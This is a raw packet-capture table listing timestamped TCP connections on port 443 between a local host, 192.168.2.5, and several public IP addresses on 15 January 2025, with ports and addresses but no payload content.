Jan 15, 2025 20:16:34.717916965 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.717924118 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.722476006 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.722762108 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.722779989 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.728790045 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.728914976 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.728926897 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.735141039 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.737927914 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.737940073 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.743380070 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.743470907 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.743483067 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.746892929 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.747064114 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.747076035 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.752577066 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.752799988 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.752814054 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.757447004 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.757615089 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.757627964 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.762676954 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.762758017 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.762770891 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.767762899 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.767847061 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.767859936 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.772650957 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.772715092 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.772736073 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.777831078 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.777900934 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.777914047 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.782589912 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.782674074 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.782766104 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.782826900 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.782911062 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.783052921 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.783094883 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.783128977 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.783207893 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.783209085 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.783229113 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.783436060 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.783476114 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.787857056 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.787915945 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.787928104 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.792848110 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.792912960 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.792924881 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.798382044 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.798439980 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.798453093 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.802958965 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.804055929 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.804074049 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.808120966 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.808238029 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.808250904 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.813219070 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.813280106 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.813292027 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.817943096 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.818007946 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.818018913 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.822835922 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.822907925 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.822920084 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.827691078 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.827779055 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.827790976 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.832199097 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.832268000 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.832281113 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.833558083 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.833664894 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.833847046 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.833864927 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.833936930 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.834434032 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.834547043 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.834578037 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.834652901 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.834687948 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.836458921 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.836528063 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.836539984 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.840646029 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.841259956 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.841272116 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.842916965 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.845021963 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.845071077 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.845084906 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.845101118 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.845129967 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.847644091 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.847923994 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.847935915 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.849407911 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.849654913 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.849666119 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.851789951 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.851824999 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.851851940 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.851865053 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.852267027 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.853871107 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.855942011 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.856041908 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.856101990 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.856115103 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.856646061 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.858184099 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864449024 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864469051 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864500046 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864530087 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864535093 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.864551067 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.864583969 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.864602089 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.870343924 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.870388985 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.870420933 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.870446920 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.870460987 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.870536089 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.870649099 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.871592045 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.871665955 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.872450113 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.872462988 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.872529984 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.873971939 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.874021053 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.874093056 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.874949932 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.874967098 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.876132965 CET	49868	443	192.168.2.5	142.250.186.33
Jan 15, 2025 20:16:34.876152992 CET	443	49868	142.250.186.33	192.168.2.5
Jan 15, 2025 20:16:34.878093004 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:34.878119946 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:34.925668955 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.925765991 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.930161953 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.930205107 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.932796955 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.932811022 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.932858944 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.932877064 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.932893038 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.932898045 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.932998896 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.933015108 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.933022022 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.933027029 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.933074951 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.933085918 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.933286905 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.933314085 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:34.933353901 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:34.993304968 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.993393898 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.993494987 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.993875027 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.993916035 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.993978024 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.994194984 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.994235039 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:34.994389057 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:34.994405985 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.247706890 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.248055935 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.250669956 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.250705957 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.251171112 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.253510952 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.253572941 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.254184961 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.254200935 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.254287958 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.254492998 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.255067110 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.255193949 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.255259037 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.295362949 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.295435905 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.300899029 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.312990904 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.313474894 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.313528061 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.314980030 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.315063000 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.315819025 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.315903902 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.316035032 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.316051960 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.328675032 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.328953028 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.328977108 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.332328081 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.332447052 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.332523108 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.332715034 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.332751989 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.333228111 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.333297968 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.333420992 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.333430052 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.333662033 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.333748102 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.334384918 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.334465027 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.334507942 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.334974051 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.335203886 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.335212946 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.338731050 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.338808060 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.339353085 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.339518070 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.339525938 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.359059095 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.359206915 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.359391928 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.359486103 CET	49884	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.359518051 CET	443	49884	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.360279083 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.360373020 CET	443	49894	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.360461950 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.360681057 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.360719919 CET	443	49894	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.375355005 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.377924919 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.378089905 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.378191948 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.378563881 CET	49883	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.378580093 CET	443	49883	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.378906965 CET	49897	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.378927946 CET	443	49897	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.379831076 CET	49897	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.381007910 CET	49897	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.381036997 CET	443	49897	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.383344889 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.402312994 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.412348986 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.412348986 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.412350893 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.412372112 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.412379026 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.451746941 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.451824903 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.452338934 CET	49888	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.452364922 CET	443	49888	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.457518101 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.457581043 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.457760096 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.458022118 CET	49886	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.458045006 CET	443	49886	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.460988998 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.461062908 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.461121082 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.461493015 CET	49885	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.461520910 CET	443	49885	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.461659908 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.462487936 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.462551117 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.462599039 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.462905884 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.462917089 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.463282108 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.463627100 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.464087963 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.464296103 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.464299917 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.464385986 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.464591026 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.464658976 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.472095013 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.472178936 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.472359896 CET	49887	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.472373962 CET	443	49887	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.507389069 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.511346102 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.574754953 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:35.574862003 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:35.575212002 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:35.575212002 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:35.576690912 CET	49864	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:35.576731920 CET	443	49864	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:35.595736980 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.595905066 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.596244097 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.596256971 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.596432924 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.596499920 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.625158072 CET	49891	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.625224113 CET	443	49891	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.625718117 CET	49892	443	192.168.2.5	162.159.61.3
Jan 15, 2025 20:16:35.625749111 CET	443	49892	162.159.61.3	192.168.2.5
Jan 15, 2025 20:16:35.627584934 CET	49902	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.627620935 CET	443	49902	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.627861977 CET	49902	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.634418011 CET	49903	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.634469032 CET	443	49903	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.634763002 CET	49903	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.635749102 CET	49902	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.635754108 CET	49903	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.635782003 CET	443	49903	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.635828018 CET	443	49902	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.725083113 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.725140095 CET	49897	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.725348949 CET	49903	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.725429058 CET	49902	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.725897074 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:35.725950003 CET	443	49858	18.244.18.38	192.168.2.5
Jan 15, 2025 20:16:35.726043940 CET	49858	443	192.168.2.5	18.244.18.38
Jan 15, 2025 20:16:35.767335892 CET	443	49902	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.767349005 CET	443	49897	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.767379999 CET	443	49894	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.767398119 CET	443	49903	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.815397978 CET	443	49894	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.815547943 CET	443	49894	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.815618992 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.815660954 CET	49894	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:35.862061977 CET	443	49897	172.64.41.3	192.168.2.5
Jan 15, 2025 20:16:35.862164021 CET	49897	443	192.168.2.5	172.64.41.3
Jan 15, 2025 20:16:36.022001028 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.022088051 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.022149086 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.022186995 CET	443	49878	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:36.022221088 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.022279978 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.026779890 CET	49878	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:36.026813030 CET	443	49878	116.203.164.230	192.168.2.5
